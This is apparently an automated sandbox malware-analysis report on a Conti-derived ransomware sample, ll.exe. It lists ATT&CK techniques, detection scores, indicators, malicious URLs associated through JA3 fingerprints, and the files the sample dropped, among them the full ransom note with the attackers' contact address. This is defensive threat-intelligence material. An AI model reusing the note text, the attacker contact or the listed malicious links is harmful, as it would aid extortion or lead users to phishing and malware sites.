Input Capture		Exfiltration Over Other Network Medium11
Encrypted Channel		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
Default Accounts2
Native API		Boot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
Virtualization/Sandbox Evasion		LSASS Memory1
System Time Discovery		Remote Desktop Protocol1
Archive Collected Data		Exfiltration Over Bluetooth1
Ingress Tool Transfer		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)1
Obfuscated Files or Information		Security Account Manager21
Security Software Discovery		SMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration2
Non-Application Layer Protocol		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Binary PaddingNTDS1
Virtualization/Sandbox Evasion		Distributed Component Object ModelInput CaptureScheduled Transfer13
Application Layer Protocol		SIM Card SwapCarrier Billing Fraud
Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptSoftware PackingLSA Secrets2
Process Discovery		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
Replication Through Removable MediaLaunchdRc.commonRc.commonSteganographyCached Domain Credentials1
Application Window Discovery		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
External Remote ServicesScheduled TaskStartup ItemsStartup ItemsCompile After DeliveryDCSync4
File and Directory Discovery		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobIndicator Removal from ToolsProc Filesystem23
System Information Discovery		Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
ll.exe57%VirustotalBrowse
ll.exe73%ReversingLabsWin32.Ransomware.Conti
ll.exe100%AviraHEUR/AGEN.1213270
ll.exe100%Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

SourceDetectionScannerLabelLinkDownload
1.2.ll.exe.f20000.0.unpack100%AviraHEUR/AGEN.1213270Download File
1.0.ll.exe.f20000.0.unpack100%AviraHEUR/AGEN.1213270Download File

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

World Map of Contacted IPs

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Public IPs

IPDomainCountryFlagASNASN NameMalicious

Private

IP
192.168.2.148
192.168.2.149
192.168.2.146
192.168.2.147
192.168.2.140
192.168.2.141
192.168.2.144
192.168.2.145
192.168.2.142
192.168.2.143
192.168.2.159
192.168.2.157
192.168.2.158
192.168.2.151
192.168.2.152
192.168.2.150
192.168.2.155
192.168.2.156
192.168.2.153
192.168.2.154
192.168.2.126
192.168.2.247
192.168.2.127
192.168.2.248
192.168.2.124
192.168.2.245
192.168.2.125
192.168.2.246
192.168.2.128
192.168.2.249
192.168.2.129
192.168.2.240
192.168.2.122
192.168.2.243
192.168.2.123
192.168.2.244
192.168.2.120
192.168.2.241
192.168.2.121
192.168.2.242
192.168.2.97
192.168.2.137
192.168.2.96
192.168.2.138
192.168.2.99
192.168.2.135
192.168.2.98
192.168.2.136
192.168.2.139
192.168.2.250
192.168.2.130
192.168.2.251
192.168.2.91
192.168.2.90
192.168.2.93
192.168.2.133
192.168.2.254
192.168.2.92
192.168.2.134
192.168.2.95
192.168.2.131
192.168.2.252
192.168.2.94
192.168.2.132
192.168.2.253
192.168.2.104
192.168.2.225
192.168.2.105
192.168.2.226
192.168.2.102
192.168.2.223
192.168.2.103
192.168.2.224
192.168.2.108
192.168.2.229
192.168.2.109
192.168.2.106
192.168.2.227
192.168.2.107
192.168.2.228
192.168.2.100
192.168.2.221
192.168.2.101
192.168.2.222
192.168.2.220
192.168.2.115
192.168.2.236
192.168.2.116
192.168.2.237
192.168.2.113
192.168.2.234
192.168.2.114
192.168.2.235
192.168.2.119
192.168.2.117
192.168.2.238
192.168.2.118
192.168.2.239
192.168.2.111
192.168.2.232

General Information

Joe Sandbox Version:34.0.0 Boulder Opal
Analysis ID:605429
Start date and time:2022-04-08 08:00:35 +02:00
Joe Sandbox Product:CloudBasic
Overall analysis duration:0h 7m 52s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:ll.exe
Cookbook file name:default.jbs
Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:22
Number of new started drivers analysed:0
Number of existing processes analysed:0
Number of existing drivers analysed:0
Number of injected processes analysed:0
Technologies:
  • HCA enabled
  • EGA enabled
  • HDC enabled
  • AMSI enabled
Analysis Mode:default
Analysis stop reason:Timeout
Detection:MAL
Classification:mal76.rans.spre.expl.winEXE@1/746@0/100
EGA Information:
  • Successful, ratio: 100%
HDC Information:
  • Successful, ratio: 99.2% (good quality ratio 92.6%)
  • Quality average: 75.4%
  • Quality standard deviation: 28.9%
HCA Information:
  • Successful, ratio: 100%
  • Number of executed functions: 40
  • Number of non-executed functions: 32
Cookbook Comments:
  • Found application associated with file extension: .exe
  • Adjust boot time
  • Enable AMSI

Warnings

  • Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, VSSVC.exe, WmiPrvSE.exe, svchost.exe, wuapihost.exe
  • Excluded IPs from analysis (whitelisted): 93.184.221.240, 23.10.249.49
  • Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, client.wns.windows.com, fs.microsoft.com, login.live.com, sls.update.microsoft.com, ctldl.windowsupdate.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
  • Not all processes where analyzed, report is missing behavior information
  • Report size getting too big, too many NtAllocateVirtualMemory calls found.
  • Report size getting too big, too many NtDeviceIoControlFile calls found.
  • Report size getting too big, too many NtOpenFile calls found.
  • Report size getting too big, too many NtSetInformationFile calls found.
  • Report size getting too big, too many NtWriteFile calls found.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
bd0bf25947d4a37404f0424edf4db9adhttps://drive.google.com/uc?export=microsoftonedrive=d&id=1zjyYkwahHCUBDPs2ImwU68mqYx07EWJ2Get hashmaliciousBrowse
  • 52.242.101.226
  • 20.54.110.249
  • 23.35.236.56
  • 40.125.122.176
  • 52.152.110.14
  • 20.190.160.67
  • 20.54.89.106
http://cdn.igooglefiles.comGet hashmaliciousBrowse
  • 52.242.101.226
  • 20.54.110.249
  • 23.35.236.56
  • 40.125.122.176
  • 52.152.110.14
  • 20.190.160.67
  • 20.54.89.106
https://624f13ded6536.htmlsave.net/Get hashmaliciousBrowse
  • 52.242.101.226
  • 20.54.110.249
  • 23.35.236.56
  • 40.125.122.176
  • 52.152.110.14
  • 20.190.160.67
  • 20.54.89.106
http://gotoavery.comGet hashmaliciousBrowse
  • 52.242.101.226
  • 20.54.110.249
  • 23.35.236.56
  • 40.125.122.176
  • 52.152.110.14
  • 20.190.160.67
  • 20.54.89.106
https://microsoft-document.myportfolio.comGet hashmaliciousBrowse
  • 52.242.101.226
  • 20.54.110.249
  • 23.35.236.56
  • 40.125.122.176
  • 52.152.110.14
  • 20.190.160.67
  • 20.54.89.106
Invoice copy.docxGet hashmaliciousBrowse
  • 52.242.101.226
  • 20.54.110.249
  • 23.35.236.56
  • 40.125.122.176
  • 52.152.110.14
  • 20.190.160.67
  • 20.54.89.106
Remittance Advice_64195_atlanticare.org.htmlGet hashmaliciousBrowse
  • 52.242.101.226
  • 20.54.110.249
  • 23.35.236.56
  • 40.125.122.176
  • 52.152.110.14
  • 20.190.160.67
  • 20.54.89.106
https://formshare.net/sample-page/3-2/Get hashmaliciousBrowse
  • 52.242.101.226
  • 20.54.110.249
  • 23.35.236.56
  • 40.125.122.176
  • 52.152.110.14
  • 20.190.160.67
  • 20.54.89.106
Othmane.kortbi-6z050ymnac-145016.htmGet hashmaliciousBrowse
  • 52.242.101.226
  • 20.54.110.249
  • 23.35.236.56
  • 40.125.122.176
  • 52.152.110.14
  • 20.190.160.67
  • 20.54.89.106
Othmane.kortbi-6z050ymnac-145016.htmGet hashmaliciousBrowse
  • 52.242.101.226
  • 20.54.110.249
  • 23.35.236.56
  • 40.125.122.176
  • 52.152.110.14
  • 20.190.160.67
  • 20.54.89.106
Nationalfood. Statement 06.04.2022.xlsxGet hashmaliciousBrowse
  • 52.242.101.226
  • 20.54.110.249
  • 23.35.236.56
  • 40.125.122.176
  • 52.152.110.14
  • 20.190.160.67
  • 20.54.89.106
Doc#Ud83d#Udcde.htmGet hashmaliciousBrowse
  • 52.242.101.226
  • 20.54.110.249
  • 23.35.236.56
  • 40.125.122.176
  • 52.152.110.14
  • 20.190.160.67
  • 20.54.89.106
http://tzp.1ek1.bowergsm.com.tr/?aidlfpqm%40#tj_base64_encode%40aHR0cHM6Ly9vYmplY3RzdG9yYWdlLnVzLXBob2VuaXgtMS5vcmFjbGVjbG91ZC5jb20vbi9heGZpM3Zkenp6cncvYi9ObU9Ua0RGR0hKS0lVWVRSNTZKSEdGR0hKS21MODc2NVRFek9EWXROR1JpTUMwNE9EY3lMVEE1WVRJeFptWTRaV1V4TWdBUUFLbWl2ZGd6WGI3L28vbG9naW4yNC5odG1s?em=radamov@okaloosaclerk.comGet hashmaliciousBrowse
  • 52.242.101.226
  • 20.54.110.249
  • 23.35.236.56
  • 40.125.122.176
  • 52.152.110.14
  • 20.190.160.67
  • 20.54.89.106
March_Payment-2.xlsxGet hashmaliciousBrowse
  • 52.242.101.226
  • 20.54.110.249
  • 23.35.236.56
  • 40.125.122.176
  • 52.152.110.14
  • 20.190.160.67
  • 20.54.89.106
http://df65v10dv6f-sd4g.hopto.org/Get hashmaliciousBrowse
  • 52.242.101.226
  • 20.54.110.249
  • 23.35.236.56
  • 40.125.122.176
  • 52.152.110.14
  • 20.190.160.67
  • 20.54.89.106
Invoice RNP583879248D11.htmlGet hashmaliciousBrowse
  • 52.242.101.226
  • 20.54.110.249
  • 23.35.236.56
  • 40.125.122.176
  • 52.152.110.14
  • 20.190.160.67
  • 20.54.89.106
http://links.155hotel.com.br/accounts/132446/messages/27/clicks/71502/61?envelope_id=13Get hashmaliciousBrowse
  • 52.242.101.226
  • 20.54.110.249
  • 23.35.236.56
  • 40.125.122.176
  • 52.152.110.14
  • 20.190.160.67
  • 20.54.89.106
https://pub.lucidpress.com/ridgebury/Get hashmaliciousBrowse
  • 52.242.101.226
  • 20.54.110.249
  • 23.35.236.56
  • 40.125.122.176
  • 52.152.110.14
  • 20.190.160.67
  • 20.54.89.106
VMail00489850.htmGet hashmaliciousBrowse
  • 52.242.101.226
  • 20.54.110.249
  • 23.35.236.56
  • 40.125.122.176
  • 52.152.110.14
  • 20.190.160.67
  • 20.54.89.106
https://app.ludus.one/ca760843-c4ae-4752-b7d9-7a510bbd61cdGet hashmaliciousBrowse
  • 52.242.101.226
  • 20.54.110.249
  • 23.35.236.56
  • 40.125.122.176
  • 52.152.110.14
  • 20.190.160.67
  • 20.54.89.106
9e10692f1b7f78228b2d4e424db3a98cp8xljq6rPK.exeGet hashmaliciousBrowse
  • 40.112.88.60
  • 23.10.249.43
  • 20.82.210.154
http://cdn.igooglefiles.comGet hashmaliciousBrowse
  • 40.112.88.60
  • 23.10.249.43
  • 20.82.210.154
https://624f13ded6536.htmlsave.net/Get hashmaliciousBrowse
  • 40.112.88.60
  • 23.10.249.43
  • 20.82.210.154
request.docGet hashmaliciousBrowse
  • 40.112.88.60
  • 23.10.249.43
  • 20.82.210.154
crypted_loader_dll_64Donat_5.dllGet hashmaliciousBrowse
  • 40.112.88.60
  • 23.10.249.43
  • 20.82.210.154
Approach - Mobile Phone Precautions.docxGet hashmaliciousBrowse
  • 40.112.88.60
  • 23.10.249.43
  • 20.82.210.154
http://gotoavery.comGet hashmaliciousBrowse
  • 40.112.88.60
  • 23.10.249.43
  • 20.82.210.154
https://microsoft-document.myportfolio.comGet hashmaliciousBrowse
  • 40.112.88.60
  • 23.10.249.43
  • 20.82.210.154
Invoice copy.docxGet hashmaliciousBrowse
  • 40.112.88.60
  • 23.10.249.43
  • 20.82.210.154
Remittance Advice_64195_atlanticare.org.htmlGet hashmaliciousBrowse
  • 40.112.88.60
  • 23.10.249.43
  • 20.82.210.154
https://formshare.net/sample-page/3-2/Get hashmaliciousBrowse
  • 40.112.88.60
  • 23.10.249.43
  • 20.82.210.154
Othmane.kortbi-6z050ymnac-145016.htmGet hashmaliciousBrowse
  • 40.112.88.60
  • 23.10.249.43
  • 20.82.210.154
Othmane.kortbi-6z050ymnac-145016.htmGet hashmaliciousBrowse
  • 40.112.88.60
  • 23.10.249.43
  • 20.82.210.154
Nationalfood. Statement 06.04.2022.xlsxGet hashmaliciousBrowse
  • 40.112.88.60
  • 23.10.249.43
  • 20.82.210.154
Doc#Ud83d#Udcde.htmGet hashmaliciousBrowse
  • 40.112.88.60
  • 23.10.249.43
  • 20.82.210.154
http://tzp.1ek1.bowergsm.com.tr/?aidlfpqm%40#tj_base64_encode%40aHR0cHM6Ly9vYmplY3RzdG9yYWdlLnVzLXBob2VuaXgtMS5vcmFjbGVjbG91ZC5jb20vbi9heGZpM3Zkenp6cncvYi9ObU9Ua0RGR0hKS0lVWVRSNTZKSEdGR0hKS21MODc2NVRFek9EWXROR1JpTUMwNE9EY3lMVEE1WVRJeFptWTRaV1V4TWdBUUFLbWl2ZGd6WGI3L28vbG9naW4yNC5odG1s?em=radamov@okaloosaclerk.comGet hashmaliciousBrowse
  • 40.112.88.60
  • 23.10.249.43
  • 20.82.210.154
609E5ECDDA8C08C02C123B8376566361568646EEA8B50.exeGet hashmaliciousBrowse
  • 40.112.88.60
  • 23.10.249.43
  • 20.82.210.154
DHL_OVERDUE_INVOICE.vbsGet hashmaliciousBrowse
  • 40.112.88.60
  • 23.10.249.43
  • 20.82.210.154
http://df65v10dv6f-sd4g.hopto.org/Get hashmaliciousBrowse
  • 40.112.88.60
  • 23.10.249.43
  • 20.82.210.154
https://zamanimachine.com/OV4/c21pdGNoZWxAbGliZXJ0eS1iYW5rLmNvbQ==Get hashmaliciousBrowse
  • 40.112.88.60
  • 23.10.249.43
  • 20.82.210.154

Dropped Files

⊘No context

Created / dropped Files

C:\MSOCache\All Users\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:24:jtVCRJFxFtmyib6WAn/O4i5hFmJZED2GbuiRGDFZcfSO+7DzGbn2vJKsXFFINNf:jtVCRLxzsbxqUbuiRGDkqO+bGb2vJKht
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Reputation:low
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\OWOW64WW.cab

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:PGP\011Secret Key -
Category:dropped
Size (bytes):30592722
Entropy (8bit):7.999968945971768
Encrypted:true
SSDEEP:786432:omK8OSSRxgw01lvsFzf5dvWqwAWYJeY8kKxkQC6y3hGiZMpC1muTeN:jKCSRqH0TFRwAtEkKxhvy3h/MsTeN
MD5:A087182116F101A533FACFDC1963F7F0
SHA1:9D8951A23DA853AE1516826CC5048F99B5313D3D
SHA-256:6DA06EBE21D68EFE88886AB3C45226BE6D57E0C9FEE46E689E4F61D7323A3998
SHA-512:7E7A4AE699125D53B9103BF46EEEA2BF3441E5A5232F4AA519D12488EBA387BA705796C490C146CAA5F17551CAA96E4A04F8D110D2EA4AAC6D4FE6AB08A72AD3
Malicious:true
Reputation:low
Preview:.3...IW....v.b..Tp.\.r...r.k.a...A..?z.....Y.....,%j............ig.t..6...8...a(TI.../...j.....O..]B9k.z.Yf....(.s..+..h.(.....RGo..0..m.30........L.9..?.N..............p...[..L..'...U...(.(f......._..b..i.y....G."..:`I.E..+..A...|C8.......#..>3.WJ.84z..x.y.m...^.*T.a.....mz1.$2k..;..nK=..A\.!fm.^.?r.@..$O%Z....).H.9.. ...j..q.^.2w..Na........W#$hyQH....+........@.D.-.......g...)..7K(WK.q....w...3...&.ExC.yy=..../*.... .Lt..7....n.M.B7..|..1.p.`..^..]YADy...[)..yA.#...$...K.........{w.@&.w.i-...?..&@..(W.KN{.%..J.k<aD_\.I.GT5Z..$....L...`...!..\..t..<.<. y._...4*....,.XzS...C.+P=...'3...k.G..4.....=.j-...'.u..S....(.....l...lo"X....f...uz.'..jgOj..58A........q..F..%r....d.W[.].."|...m."5%...]..,.pK....|yR.[..2....n..Z....~l......p`.L...3.A....O..>wT......o>!...I......J.9S|.Z.....5.....1e.$......v..?...........T.:9..\.`...6.{R.T....f..g.!....d#..D200q....~"/!.&kt...T.uA...x.....7 ...zq.W....?.&.:....o.....D.x....8..,.}.w.xH0..

C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\OWOW64WW.cab.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:PGP\011Secret Key -
Category:dropped
Size (bytes):30592722
Entropy (8bit):7.999968945971768
Encrypted:true
SSDEEP:786432:omK8OSSRxgw01lvsFzf5dvWqwAWYJeY8kKxkQC6y3hGiZMpC1muTeN:jKCSRqH0TFRwAtEkKxhvy3h/MsTeN
MD5:A087182116F101A533FACFDC1963F7F0
SHA1:9D8951A23DA853AE1516826CC5048F99B5313D3D
SHA-256:6DA06EBE21D68EFE88886AB3C45226BE6D57E0C9FEE46E689E4F61D7323A3998
SHA-512:7E7A4AE699125D53B9103BF46EEEA2BF3441E5A5232F4AA519D12488EBA387BA705796C490C146CAA5F17551CAA96E4A04F8D110D2EA4AAC6D4FE6AB08A72AD3
Malicious:true
Reputation:low
Preview:.3...IW....v.b..Tp.\.r...r.k.a...A..?z.....Y.....,%j............ig.t..6...8...a(TI.../...j.....O..]B9k.z.Yf....(.s..+..h.(.....RGo..0..m.30........L.9..?.N..............p...[..L..'...U...(.(f......._..b..i.y....G."..:`I.E..+..A...|C8.......#..>3.WJ.84z..x.y.m...^.*T.a.....mz1.$2k..;..nK=..A\.!fm.^.?r.@..$O%Z....).H.9.. ...j..q.^.2w..Na........W#$hyQH....+........@.D.-.......g...)..7K(WK.q....w...3...&.ExC.yy=..../*.... .Lt..7....n.M.B7..|..1.p.`..^..]YADy...[)..yA.#...$...K.........{w.@&.w.i-...?..&@..(W.KN{.%..J.k<aD_\.I.GT5Z..$....L...`...!..\..t..<.<. y._...4*....,.XzS...C.+P=...'3...k.G..4.....=.j-...'.u..S....(.....l...lo"X....f...uz.'..jgOj..58A........q..F..%r....d.W[.].."|...m."5%...]..,.pK....|yR.[..2....n..Z....~l......p`.L...3.A....O..>wT......o>!...I......J.9S|.Z.....5.....1e.$......v..?...........T.:9..\.`...6.{R.T....f..g.!....d#..D200q....~"/!.&kt...T.uA...x.....7 ...zq.W....?.&.:....o.....D.x....8..,.}.w.xH0..

C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\Office64WW.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):5526
Entropy (8bit):7.961897719722573
Encrypted:false
SSDEEP:96:Knkl+ArPi58nYVVvOsD4XTCSnffSwW6PaueZ/dICCrhqahhDzOjX:HYABYVVMXTCSffSwWEEhODhDCjX
MD5:AF1636E008E21429F9199E8BBAD3A70F
SHA1:069043128B71046A350A5E55ECC191E5EEDA0563
SHA-256:3881498BA8CC12A26CC03F988D9219E534A41564BC499684A1A43F5E5ACD9ACC
SHA-512:CEF39BE815338E781DB58B2973804AE5E9CBEC81C9BF43A62A184D7D1D62D6A185EF1E4DE88E045E79ABE40E8546188F171E78F0D4E9BB22F9986EF6AD3E8624
Malicious:false
Reputation:low
Preview:;..T..J.E..\.l.\.....4.]..+.......M....I.H..p-.js....Y..V?4S....N.....+.v.Qn..`#5..'..yP2...=..#........(8..g..1z./......F$.........a....[t...d9.N...,...b......f..9.....D K.e.aR...`v....mv.s...i.V.j...q.h....p..7..Y\G.vme.Fh.Ce...Q..Ry?.|.......x...S.....wq0..r.\.`.k?.9..|..a.C.Vh.^.m............m*z..$.....f.!.jU..G.n..j....S...,..*...]M..u@.x[........tt...$.....X.....jc.................B....7....Ql.+.q.e...z.?.....@$...<[.V......T.1..Ut.......0^W....%;.....<o...A..T....F..jH....55..C..F.....k....-.K.s.NQ....i......|.......G.,....O...SU.:..E..O....k.G..'......t8..[....0>.b..).9....<...c......A..6W3E.....(.#p..)....R..M2.hn{.}....:.j|.,&.$.}..R^...8..$.6J..,......[1...,Z..st.jI|.Tlu......."....{.;m../R.%a.:=.G.... .2MR....).1..&...X..N.....w'F..tc9z.0dy_U..-?..S...VW.,E......O..o.5]w.2.K>....p.lv.r)J.~....AH."...&..E@.H.{_&....f.:..U..{L.5..})..\.3Y...Sf.o...z...MA......f..8....:`o.B......e...]+~:.....6....S.....x..e....h.`...:...(.n"

C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\Office64WW.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):5526
Entropy (8bit):7.961897719722573
Encrypted:false
SSDEEP:96:Knkl+ArPi58nYVVvOsD4XTCSnffSwW6PaueZ/dICCrhqahhDzOjX:HYABYVVMXTCSffSwWEEhODhDCjX
MD5:AF1636E008E21429F9199E8BBAD3A70F
SHA1:069043128B71046A350A5E55ECC191E5EEDA0563
SHA-256:3881498BA8CC12A26CC03F988D9219E534A41564BC499684A1A43F5E5ACD9ACC
SHA-512:CEF39BE815338E781DB58B2973804AE5E9CBEC81C9BF43A62A184D7D1D62D6A185EF1E4DE88E045E79ABE40E8546188F171E78F0D4E9BB22F9986EF6AD3E8624
Malicious:false
Reputation:low
Preview:;..T..J.E..\.l.\.....4.]..+.......M....I.H..p-.js....Y..V?4S....N.....+.v.Qn..`#5..'..yP2...=..#........(8..g..1z./......F$.........a....[t...d9.N...,...b......f..9.....D K.e.aR...`v....mv.s...i.V.j...q.h....p..7..Y\G.vme.Fh.Ce...Q..Ry?.|.......x...S.....wq0..r.\.`.k?.9..|..a.C.Vh.^.m............m*z..$.....f.!.jU..G.n..j....S...,..*...]M..u@.x[........tt...$.....X.....jc.................B....7....Ql.+.q.e...z.?.....@$...<[.V......T.1..Ut.......0^W....%;.....<o...A..T....F..jH....55..C..F.....k....-.K.s.NQ....i......|.......G.,....O...SU.:..E..O....k.G..'......t8..[....0>.b..).9....<...c......A..6W3E.....(.#p..)....R..M2.hn{.}....:.j|.,&.$.}..R^...8..$.6J..,......[1...,Z..st.jI|.Tlu......."....{.;m../R.%a.:=.G.... .2MR....).1..&...X..N.....w'F..tc9z.0dy_U..-?..S...VW.,E......O..o.5]w.2.K>....p.lv.r)J.~....AH."...&..E@.H.{_&....f.:..U..{L.5..})..\.3Y...Sf.o...z...MA......f..8....:`o.B......e...]+~:.....6....S.....x..e....h.`...:...(.n"

C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ProPlusWW.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):17642
Entropy (8bit):7.989019596489402
Encrypted:false
SSDEEP:384:oj8JmJt9JUaPwLMu5kYPPURCBp+fdBGYXvk/pinmbYNXUiO9mqRuXEkqL:ojwcJUaPwLKYEGp+JKpiZaY8jbL
MD5:4FD1596403016C87FC0FD06346833131
SHA1:E17859E07EADDF22F08489FFC158A5221C60F131
SHA-256:665D38285CA084AE5D9EF128461B936A59D523F7031B8CAF066C24FA8A622FF3
SHA-512:45F0341228D7EBB1BBF232D7E239207DE47DEE382FEA5A1DEA168A6AA9B731ABEA4DDD8667DDB36748454D1000D7D017E465EF5C13610C32C1771BBC8FFD1AAA
Malicious:false
Reputation:low
Preview:8.5..".;.....)6.. .H;...@O.K#"J....f...A+.73...R.....+'..Qw.>..L._+L..*. .P.._-.\..[......[Z=f.h..H..9.....y*.."n' ....<.p&d.d1.I#/[Q....C..'~...~...-...[x.V{.uj...."...rG.....&..Jev...L....=C...t...vv.....|.!.6S......0..[..L:.."F....."9..t.Hou.....x.....&v.2..OJ#.....A.ca.r-..&.H7,Y.r.$)..@..bT"Y.T..mQE.).D`..!..\.)~..4XhE.j. Y...sU..('iQ.......H="X.0.Gu...y..~...m...2......InV......[....<...!..3.?3N..3.9&)N.1....;Z}..rkM...z.....t.....?Q..P.(H.......`|]Q..J....F.....z.w.P..._....8o..-....TA.=b`...;.vr.A.vR..@..j....m.\..M._....O.].v..O#.2G..Ug..>.t.ka0...7. .....-[...qM.H.0. .-B.L.x......8.ue$n.Kn..o.O)..\^Q>......yn.v..{....m.W.qN.K....c..[...z...A....(Wv..U@q..d.w....P..5.......A\.O....Fay..s.k...l......~..o...DN..b...N.-..S......*.;$Wh..[Q.P....D....9v.t....5A..-~.[....D.\iZ..Z>[4lZ3/.<W...uQy......3...........6.....j2).s.k..14.,D.n..Vx.\....CB<. DTE..d...`]..."gU9........;4.....9t..O.t....3.s.R~..tt..Y:[..@cf.P.. .u.....C

C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ProPlusWW.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):17642
Entropy (8bit):7.989019596489402
Encrypted:false
SSDEEP:384:oj8JmJt9JUaPwLMu5kYPPURCBp+fdBGYXvk/pinmbYNXUiO9mqRuXEkqL:ojwcJUaPwLKYEGp+JKpiZaY8jbL
MD5:4FD1596403016C87FC0FD06346833131
SHA1:E17859E07EADDF22F08489FFC158A5221C60F131
SHA-256:665D38285CA084AE5D9EF128461B936A59D523F7031B8CAF066C24FA8A622FF3
SHA-512:45F0341228D7EBB1BBF232D7E239207DE47DEE382FEA5A1DEA168A6AA9B731ABEA4DDD8667DDB36748454D1000D7D017E465EF5C13610C32C1771BBC8FFD1AAA
Malicious:false
Reputation:low
Preview:8.5..".;.....)6.. .H;...@O.K#"J....f...A+.73...R.....+'..Qw.>..L._+L..*. .P.._-.\..[......[Z=f.h..H..9.....y*.."n' ....<.p&d.d1.I#/[Q....C..'~...~...-...[x.V{.uj...."...rG.....&..Jev...L....=C...t...vv.....|.!.6S......0..[..L:.."F....."9..t.Hou.....x.....&v.2..OJ#.....A.ca.r-..&.H7,Y.r.$)..@..bT"Y.T..mQE.).D`..!..\.)~..4XhE.j. Y...sU..('iQ.......H="X.0.Gu...y..~...m...2......InV......[....<...!..3.?3N..3.9&)N.1....;Z}..rkM...z.....t.....?Q..P.(H.......`|]Q..J....F.....z.w.P..._....8o..-....TA.=b`...;.vr.A.vR..@..j....m.\..M._....O.].v..O#.2G..Ug..>.t.ka0...7. .....-[...qM.H.0. .-B.L.x......8.ue$n.Kn..o.O)..\^Q>......yn.v..{....m.W.qN.K....c..[...z...A....(Wv..U@q..d.w....P..5.......A\.O....Fay..s.k...l......~..o...DN..b...N.-..S......*.;$Wh..[Q.P....D....9v.t....5A..-~.[....D.\iZ..Z>[4lZ3/.<W...uQy......3...........6.....j2).s.k..14.,D.n..Vx.\....CB<. DTE..d...`]..."gU9........;4.....9t..O.t....3.s.R~..tt..Y:[..@cf.P.. .u.....C

C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ProPsWW.cab

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):323579508
Entropy (8bit):7.999959516157797
Encrypted:true
